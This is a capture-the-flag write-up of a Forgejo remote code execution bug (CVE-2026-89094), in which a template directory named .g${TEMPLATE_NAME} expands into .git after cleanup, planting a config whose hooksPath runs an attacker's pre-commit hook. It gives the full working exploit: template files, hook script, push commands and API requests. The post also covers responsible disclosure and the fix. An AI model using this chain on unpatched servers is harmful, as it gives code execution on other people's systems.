At NNS CTF 2026, we had a total of 18 zero-days affecting real applications running in production. This post covers one of them.

The challenge was called git gud, an unmodified Forgejo instance running the latest release, with open registration and a flag at /flag.txt. The intended solution was a critical RCE found by 0xLE on my team! It is now CVE-2026-89094, with a CVSS score of 9.9 (Critical), and was fixed in Forgejo 16.0.4 and 15.0.8.

Each team received an isolated instance. The challenge description asked players to keep the 0day private until Forgejo released a patch.

git gud challenge at NNS CTF 2026

The feature that became a bug

Forgejo can generate a new repository from a template, and those templates may contain variables in filenames. The core vulnerability is a naming issue. Forgejo removes the dangerous .git directory before it expands the attacker controlled filenames. It checks one name, then the expansion creates a different name after that check has already passed.

The naming trick itself is simple. We name the template repository it and commit a directory called .g${TEMPLATE_NAME}. When Forgejo replaces ${TEMPLATE_NAME} with the repository name, it effectively performs this concatenation:

.g + it = .git

The committed directory does not start out as .git, so it survives the cleanup. It only becomes .git later, when Forgejo processes the template. That ordering is the entire bug! An attacker can recreate the protected Git directory after Forgejo has removed it and then place an attacker controlled .git/config inside it.

The vulnerable flow was:

Template generation flow: clone template, remove .git, expand variables in selected files and filenames, run git init, and create the initial commit.Template generation flow: clone template, remove .git, expand variables in selected files and filenames, run git init, and create the initial commit.

Removing .git was supposed to separate attacker controlled repository content from trusted Git configuration. Because filename expansion happened afterward, that safety boundary only applied to the old paths and not to the paths Forgejo actually used.

A template author chooses filename globs in .forgejo/template. Forgejo expands variables in matching paths, creates their new parent directories, and renames the files. We use that normal feature to make a harmless looking path become .git/config after the safety check.

The git gud template repository was named it and contained:

.forgejo/template
.g${TEMPLATE_NAME}/config
payload/pre-commit

.forgejo/template selected the disguised file:

.g*/config

During generation, ${TEMPLATE_NAME} became it, turning .g${TEMPLATE_NAME}/config into .git/config:

Filename expansion: .g${TEMPLATE_NAME}/config becomes .git/config.Filename expansion: .g${TEMPLATE_NAME}/config becomes .git/config.

By this point Forgejo had already deleted the cloned .git, so its own expansion code recreated the directory with attacker controlled configuration. The following git init did not replace it. Git reinitialized the repository and adopted the config that was already there.

From .git/config to RCE

The planted config redirected Git's hooks directory:

[core]
hooksPath = payload

The repository also contained an executable payload/pre-commit:

#!/bin/sh
{ id; whoami; cat /flag.txt; } > output
git add output

After git init, Forgejo created the generated repository's initial commit. Git loaded our pre-commit hook from payload and ran it as the Forgejo service user. The hook read /flag.txt, wrote the result to output, and staged that file so Forgejo committed it for us.

Full solve

The exploit only requires a normal Forgejo account and a template repository named it. After registering and creating the repository, we prepare the three files that turn template expansion into code execution.

Step 1: inject the template rules, Git config, and hook

We commit three files to the it repository:

it/
├── .forgejo/
│ └── template
├── .g${TEMPLATE_NAME}/
│ └── config
└── payload/
└── pre-commit

The first injected file is .forgejo/template:

.g*/config

This is the filename glob Forgejo uses when deciding which paths should have template variables expanded. It matches .g${TEMPLATE_NAME}/config, so the disguised path is selected for processing.

The second injected file is .g${TEMPLATE_NAME}/config:

[core]
hooksPath = payload

Before expansion, this is an ordinary directory in the repository and survives Forgejo's first removal of .git. During expansion, ${TEMPLATE_NAME} becomes it, the path becomes .git/config, and the file tells Git to load hooks from the repository's payload directory.

The third injected file is payload/pre-commit:

#!/bin/sh
{ id; whoami; cat /flag.txt; } > output
git add output

This hook runs id, whoami, and cat /flag.txt as the Forgejo service user. It redirects their output into a file named output and stages the file with git add output. Staging it is important because Forgejo is in the middle of creating the generated repository's initial commit. The hook makes the command result part of that commit, giving us a way to read it afterward without a reverse shell or outbound network connection.

The transformation we are forcing now looks like this:

Two injected repository paths and their paths after Forgejo expands the template: .g${TEMPLATE_NAME}/config becomes .git/config, while payload/pre-commit remains payload/pre-commit.Two injected repository paths and their paths after Forgejo expands the template: .g${TEMPLATE_NAME}/config becomes .git/config, while payload/pre-commit remains payload/pre-commit.

The config path changes after Forgejo has already removed the original .git directory. The hook path stays where it is, ready for the planted config to reference it.

Step 2: make the hook executable and push it

We make payload/pre-commit executable before committing the three files. Git stores the executable bit in the commit, so Forgejo restores it when it clones our template. Without this step, Git sees the hook but refuses to execute it.

chmod +x payload/pre-commit
git add -A
git commit -m template
git push origin main

Step 3: mark it as a template

We enable Forgejo's template repository setting through the API:

PATCH /api/v1/repos/{username}/it
Content-Type: application/json
{"template": true}

Step 4: generate a repository and trigger the hook

We now ask Forgejo to create a new repository from it:

POST /api/v1/repos/{username}/it/generate
Content-Type: application/json
{
"owner": "{username}",
"name": "out-random",
"git_content": true
}

git_content: true tells Forgejo to copy and process the template's Git content.

That request triggers the complete exploit chain:

Exploit sequence: Forgejo clones the it template, removes the original .git directory, expands the disguised name back into .git, git init adopts the planted config, and the initial commit runs the hook and saves the flag to output.Exploit sequence: Forgejo clones the it template, removes the original .git directory, expands the disguised name back into .git, git init adopts the planted config, and the initial commit runs the hook and saves the flag to output.

Step 5: get the flag

After Forgejo creates the repository, the hook's output file is part of its initial commit. Opening that file reveals the output of our commands, including the flag from /flag.txt.

Praying it would survive

After 0xLE found the vulnerability, the challenge was ready. All we had to do was run the latest Forgejo release unchanged when the CTF started. From then on, we were praying that nobody would patch it before the CTF. I had to scrap several other planned 0day challenges after their vulnerabilities were patched in the weeks, or even days, before the event. This one survived long enough to make it into the competition.

The complete challenge source was the latest Forgejo version and its configuration:

FROM codeberg.org/forgejo/forgejo:15.0.7@sha256:1f9c1a9880425614267832ce437f8ae5f5b69e1f3219f38fc468fc37e48c1919
ENV USER="git" \
GITEA_CUSTOM="/data/gitea" \
FORGEJO__security__INSTALL_LOCK="true" \
FORGEJO__database__DB_TYPE="sqlite3" \
FORGEJO__database__PATH="/data/gitea/forgejo.db" \
FORGEJO__server__PROTOCOL="http" \
FORGEJO__server__HTTP_PORT="3000" \
FORGEJO__server__DISABLE_SSH="true" \
FORGEJO__server__OFFLINE_MODE="true" \
FORGEJO__service__DISABLE_REGISTRATION="false" \
FORGEJO__service__REQUIRE_SIGNIN_VIEW="false" \
FORGEJO__service__ENABLE_CAPTCHA="false" \
FORGEJO__service__DEFAULT_KEEP_EMAIL_PRIVATE="true" \
FORGEJO__service__REGISTER_EMAIL_CONFIRM="false" \
FORGEJO__mailer__ENABLED="false" \
FORGEJO__cron__ENABLED="false" \
FORGEJO__log__LEVEL="Warn"
EXPOSE 3000

The fix and disclosure

As with all our 0day challenges, we began responsible disclosure when NNS CTF started on 4 September. Forgejo released the fixes six days later, on September 10. 0xLE received credit in the security patch!

Forgejo fixed the issue by deleting .git a second time, after filename expansion and immediately before git init:

if err := root.RemoveAll(".git"); err != nil {
return fmt.Errorf("unable to remove .git folder")
}

Its regression test uses the same trick: .g${REPO_NAME}/config combined with a generated repository named it. The second deletion removes the planted configuration before Git can adopt it.

Zero-days are fun, and they are not really that hard to find once you start looking closely at your favorite applications. If you run Forgejo older than 16.0.4, or a version on the 15 LTS line older than 15.0.8, please upgrade.

Full solve